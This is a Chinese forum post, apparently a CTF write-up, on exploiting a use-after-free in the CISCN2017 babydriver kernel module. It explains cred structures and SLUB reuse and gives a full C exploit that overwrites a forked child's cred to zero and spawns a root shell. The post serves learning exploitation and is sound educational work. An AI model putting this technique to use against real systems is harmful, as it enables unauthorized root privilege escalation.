首页
论坛
专栏
课程

[原创]kernel pwn -- UAF

2019-7-25 16:25 1975

[原创]kernel pwn -- UAF

2019-7-25 16:25
1975

简介

众所周知,UAF的全称是Use After Free,是一种释放后重用漏洞;之前一直是在用户态下对这个漏洞进行利用学习的,最近想要体验一下在内核环境中利用此漏洞进行提权操作....
用户态的常规UAF可以看这篇文章.....
这里我利用的CISCN2017 babydriver来进行学习的,环境我已经放到github上面了,需要的可以自行下载....

前置知识

权限

在Linux当中每个进程都有它自己的权限,而标示着权限的那些信息,比如uid,gid等都是被放在一个叫cred的结构体当中的,也就是说每个进程中都有一个cred结构,如果我们能够修改某个进程的cred,那么我们就可以修改这个进程的权限了....
这里展示版本为4.4.72的cred结构体的源码:

struct cred {
    atomic_t    usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
    atomic_t    subscribers;    /* number of processes subscribed */
    void        *put_addr;
    unsigned    magic;
#define CRED_MAGIC  0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
    kuid_t      uid;        /* real UID of the task */
    kgid_t      gid;        /* real GID of the task */
    kuid_t      suid;       /* saved UID of the task */
    kgid_t      sgid;       /* saved GID of the task */
    kuid_t      euid;       /* effective UID of the task */
    kgid_t      egid;       /* effective GID of the task */
    kuid_t      fsuid;      /* UID for VFS ops */
    kgid_t      fsgid;      /* GID for VFS ops */
    unsigned    securebits; /* SUID-less security management */
    kernel_cap_t    cap_inheritable; /* caps our children can inherit */
    kernel_cap_t    cap_permitted;  /* caps we're permitted */
    kernel_cap_t    cap_effective;  /* caps we can actually use */
    kernel_cap_t    cap_bset;   /* capability bounding set */
    kernel_cap_t    cap_ambient;    /* Ambient capability set */
#ifdef CONFIG_KEYS
    unsigned char   jit_keyring;    /* default keyring to attach requested * keys to */
    struct key __rcu *session_keyring; /* keyring inherited over fork */
    struct key  *process_keyring; /* keyring private to this process */
    struct key  *thread_keyring; /* keyring private to this thread */
    struct key  *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
    void        *security;  /* subjective LSM security */
#endif
    struct user_struct *user;   /* real user ID subscription */
    struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
    struct group_info *group_info;  /* supplementary groups for euid/fsgid */
    struct rcu_head rcu;        /* RCU deletion hook */
};

当我们是root权限的时候,我们的uid和gid都是等于0的,另外此版本的cred的大小是0xa8;

SLAB && SLUB

SLAB是一种内存管理机制,为了提高效率,SLAB要求系统暂时保留已经释放的内核对象空间,以便下次申请时不需要再次初始化和分配;但是,SLAB机制对内核对象的类型十分挑剔,只有类型和大小都完全一致的对象才能重用其空间;这就好比是装过鸡的笼子是不允许再去关兔子了,哪怕鸡和兔子的大小一样;
但是,和SLAB相比,SLUB对对象类型就没有限制,两个对象只要大小差不多就可以重用同一块内存,而不在乎类型是否相同;也就是说这次申请的空间的大小和上次释放的空间大小一样,那么这两个空间的地址会是一样的;SLUB机制就允许装过鸡的笼子再装兔子,只要大小ok就好.....
其实SLUB机制和堆分配机制是比较一样的,只是更加复杂一些....

题目分析

现在具体分析一下题目:
首先在驱动中有一个结构体,保存着一个字符串的内容和长度:

struct babydev_struct{
    char *device_buf;
    size_t device_buf_len;
};

babystruct
然后我们来看看主要的函数:
babyopen:
babyopen
申请一块大小为0x40字节的空间,然后将地址存储在全局变量babydev_struct.device_buf上,并更新babydev_struct.device_buf_len

 

babywrite:
babywrite
先检查babydev_struct.device_buf_len长度是否大于v4,然后把buffer中的数据拷贝到babydev_struct.device_buf中,其中buffer和长度都是用户传递的参数....

 

babyread:
babyread
先检查长度是否小于babydev_struct.device_buf_len,然后把 babydev_struct.device_buf 中的数据拷贝到buffer中,buffer 和长度都是用户传递的参数....

 

babyioctl:
babyioctl
这个函数定义了一个0x10001的命令,可以释放全局变量babydev_struct中的device_buf,再根据用户传递的size重新申请一块内存,并且更新device_buf_len

思路

这个从用户态的pwn来看好像漏洞并不明显,但是我们现在是在内核态了,要把用户态的单线程的思维抛开了,要从多线程的角度来思考了....
我们都知道在Linux当中,一切都是文件,不管你是不是硬件;
如果我们打开了两个设备文件,也就是调用了两次babyopen函数,因为babydev_struct是全局的,第一次分配了buf,第二次其实将会覆盖第一次分配的buf;如果我们free了第一个buf,那么第二个其实就已经是被释放过的了,这样我们就制造了一个UAF漏洞了....
然后我们结合前面说的slub机制,我们可以想办法把某个进程的cred结构体被放进这个UAF的空间里,所以我们思路就是:

  1. 首先打开两次设备,通过ioctl将babydev_struct大小为的cred结构体的大小(不同版本kernel的可能不一样,需要自己通过源码去算);
  2. 然后释放其中一个设备,fork出一个新进程,此时这个新进程的cre 的空间就会和之前释放的空间重叠;
  3. 最后,我们可以通过另一个文件描述符对这块空间进行写操作,只需要将uid,gid改为0,就可以实现root提权了....

poc

exp.c:

#include<stdio.h>
#include<fcntl.h>
#include <unistd.h>
int main(){
    int fd1,fd2,id;
    char cred[0xa8] = {0};
    fd1 = open("dev/babydev",O_RDWR);
    fd2 = open("dev/babydev",O_RDWR);
    ioctl(fd1,0x10001,0xa8);
    close(fd1);
    id = fork();
    if(id == 0){
        write(fd2,cred,28);     //写入28个0,一直把egid及其之前的值都变为成0,就会被认为是root了;
        if(getuid() == 0){
            printf("[*]welcome root:\n");
            system("/bin/sh");
            return 0;
        }
    }
    else if(id < 0){
        printf("[*]fork fail\n");
    }
    else{
        wait(NULL);
    }
    close(fd2);
    return 0;
}

编译:

gcc exp.c -o exp -static -w

运行:
root

 

我们可以利用gdb调试,查看babydev_struct一步步变成了ctf权限的cred然后被修改为root的cred的:
正常的babydev_struct:
babydev_struct
ctf权限的cred:
ctf权限的cred
其中uid=1000表示的是ctf用户.....
root的cred:
root的cred

总结

内核态的漏洞利用和用户态的利用是有点区别的,但是漏洞原理基本不变;
要理解内核态的漏洞利用还是要了解一些基本的内核运行机制,用户态的函数是如何与内核态的函数交互的,比如为什么poc中调用了write函数就刚好可以把内容写在babydev_struct的buf里面等等....
这道题还有一种比较复杂的利用方法,同样可以看看....



[挑战]看雪.纽盾 KCTF 2019晋级赛Q3攻击方进行中……,华为P30 Pro、iPad、kindle等你来拿!

最新回复 (0)
游客
登录 | 注册 方可回帖
返回